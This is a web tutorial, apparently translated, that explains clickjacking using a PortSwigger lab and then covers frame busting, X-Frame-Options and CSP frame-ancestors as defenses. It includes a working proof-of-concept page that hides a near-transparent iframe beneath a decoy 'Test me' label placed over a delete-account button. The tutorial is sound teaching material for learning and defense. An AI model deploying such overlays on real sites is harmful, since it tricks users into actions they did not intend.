What is Clickjacking?

In this article, we will learn about the clickjacking vulnerability. A technique that is not new but also extremely dangerous to deceive the user’s mouse clicks.

Join the channel Telegram belong to AnonyViet ???? Link ????

1. iframe tag

Before diving into clickjacking, we need to understand what an iframe tag is.

Look at the code below.

<!DOCTYPE html>
<html>
<body>
<iframe src="https://www.w3schools.com"></iframe>
</body>
</html>

You can find this code here.

The above code is very simple.

What the iframe tag does is simply inject another page into your page.

Below is the output of that code.

As you can see, the w3 page has been included in the page.

Easy isn’t it? With the iframe tag, you can include another web page on your page.

2. Basic Clickjacking Vulnerability

So, what’s the point of the iframe tag?

The main problem is that the iframe can be hidden behind something.

It sounds a bit confusing right, but it’s actually quite easy to understand.

I will use the Portswigger lab to explain the attack.

Lab: Basic clickjacking with CSRF token protection | Web Security Academy (portswigger.net)

If we go to Account, we can delete our account.

If the page is vulnerable to clickjacking, we can hide the iframe and convince the user to click another button (or word) that we added to the page without their knowledge.

What you have to do is simply provide the code below to the victim.

<!DOCTYPE html>
<html>
<body>
<style>
   iframe {
       position:relative;
       width:500px;
       height: 700px;
       opacity: 0.0001;
       z-index: 2;
   }
   div {
       position:absolute;
       top:320px;
       left:60px
       z-index: 1;
   }
</style>
<div>Test me</div>
<iframe src="https://anonyviet.com/clickjacking-la-gi/Your_URL"></iframe>
</body>
</html>

This is the result.

To summarize, the above code ensures that the Test me text is properly aligned on the delete button of the iframe page.

We can see from the CSS specs that the iframe has a very low opacity so it will be invisible to the user as well as the z-index tag which will ensure that the Portswigger page stays on top of the Test me.

3. Protection mechanism against clickjacking

There are several ways to mitigate the clickjacking vulnerability, I will start listing from least reliable method to most secure.

1. Frame Busting

Frame Busting, is a client-side technique that uses JavaScript to prevent your page from being framed into another page.

As with most client-side techniques, it can easily be bypassed by using the sandboxed attribute of the iframe tag, e.g. the allow-script parameter will allow the tag to execute JavaScript code thus ignoring defense mechanism.

2. X-Frame.

X-Frame is a server-side technique that minimizes clicks by using the X-Frame header.

This header can be configured with 3 parameters in an HTTP request.

Any iframe will be blocked.

Iframes are allowed, but can only be embedded in frames on a page that has the same origin as itself (For example, if http://example.com only requests its own iframe it will be allowed to use that iframe ).

Whitelisted sites can use iframes.

X-Frame-Options: deny
X-Frame-Options: sameorigin
X-Frame-Options: allow-from http://example.com

Even if it was a great technique, today it is considered deprecated and CSP is used to replace it.

3. CSP.

CSP stands for content security policy which is a defense mechanism implemented by websites to prevent clickjacking and client-side attacks like XSS.

It is usually implemented in the web server as a return header.

You can use the frame-ancestors parameter for clickjacking with the none option equivalent to the deny of the X-Frame, and with the name of the web page that is allowed to be embedded in the web page.

Content-Security-Policy: frame-ancestors 'none'
Content-Security-Policy: frame-ancestors 'self'
Content-Security-Policy: frame-ancestors http://example.com